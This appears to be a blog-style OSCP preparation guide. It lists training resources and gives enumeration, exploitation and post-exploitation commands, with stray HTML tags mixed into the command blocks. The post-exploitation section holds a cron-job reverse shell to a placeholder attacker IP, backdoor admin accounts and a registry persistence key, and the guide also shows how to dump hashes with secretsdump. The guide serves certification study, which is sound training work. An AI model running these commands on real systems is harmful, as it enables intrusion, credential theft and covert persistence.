The Offensive Security Certified Professional (OSCP) certification is one of the most respected credentials in the cybersecurity industry. It validates your ability to perform penetration testing and exploit vulnerabilities in systems. This article will guide you through the resources, tools, and methodologies needed to prepare for the OSCP exam, along with practical commands and steps to enhance your skills.
You Should Know:
1. Learning Resources
- HackTheBox Academy: Offers a wide range of modules on penetration testing, web application security, and privilege escalation.
URL: https://academy.hackthebox.com - HackTheBox Labs: Provides hands-on practice with vulnerable machines similar to OSCP exam scenarios.
URL: https://www.hackthebox.com - OffSec’s PEN-200 Course: The official course for OSCP preparation, covering enumeration, exploitation, and post-exploitation techniques.

2. Practical Commands for Enumeration
- Linux Enumeration:
</li> </ul> <h1>Basic system info</h1> uname -a <h1>Network interfaces</h1> ifconfig <h1>Running processes</h1> ps aux <h1>Open ports</h1> netstat -tuln <h1>SUID files</h1> find / -perm -u=s -type f 2>/dev/null
– Windows Enumeration:
<h1>System info</h1> systeminfo <h1>Network info</h1> ipconfig /all <h1>Running processes</h1> tasklist <h1>Open ports</h1> netstat -ano <h1>Scheduled tasks</h1> schtasks /query /fo LIST /v
3. Active Directory Enumeration
- PowerShell Commands:
</li> </ul> <h1>Get domain info</h1> Get-ADDomain <h1>List all users</h1> Get-ADUser -Filter * <h1>List all computers</h1> Get-ADComputer -Filter * <h1>Check group policies</h1> Get-GPO -All
– Impacket Tools:
<h1>Enumerate users</h1> python3 GetADUsers.py -dc-ip <IP> <domain>/<user>:<password> -all <h1>Dump hashes</h1> python3 secretsdump.py <domain>/<user>:<password>@<IP>
4. Exploitation Techniques
- Metasploit Framework:
</li> </ul> <h1>Start Metasploit</h1> msfconsole <h1>Search for exploits</h1> search <exploit_name> <h1>Use an exploit</h1> use exploit/<path> <h1>Set options</h1> set RHOSTS <target_ip> set LHOST <your_ip> <h1>Run exploit</h1> run
– Manual Exploitation:
<h1>Compile and run a C exploit</h1> gcc exploit.c -o exploit ./exploit <h1>Python exploits</h1> python3 exploit.py
5. Post-Exploitation
- Linux:
</li> </ul> <h1>Add a new user</h1> useradd -m -s /bin/bash newuser passwd newuser <h1>Persistence via cron job</h1> echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<your_ip>/<port> 0>&1'" | crontab -
– Windows:
<h1>Add a new user</h1> net user newuser Password123 /add net localgroup administrators newuser /add <h1>Persistence via registry</h1> reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\path\to\backdoor.exe"
What Undercode Say:
Preparing for the OSCP exam requires dedication, hands-on practice, and a deep understanding of enumeration, exploitation, and post-exploitation techniques. Utilize platforms like HackTheBox and OffSec’s PEN-200 course to build your skills. Practice Linux and Windows commands, Active Directory enumeration, and manual exploitation to ensure you’re ready for the exam. Remember, persistence and attention to detail are key to success in the OSCP journey.
Expected Output:
- Mastery of enumeration and exploitation techniques.
- Ability to identify and exploit vulnerabilities in Linux, Windows, and Active Directory environments.
- Successful completion of the OSCP exam and certification.
Good luck on your OSCP journey!
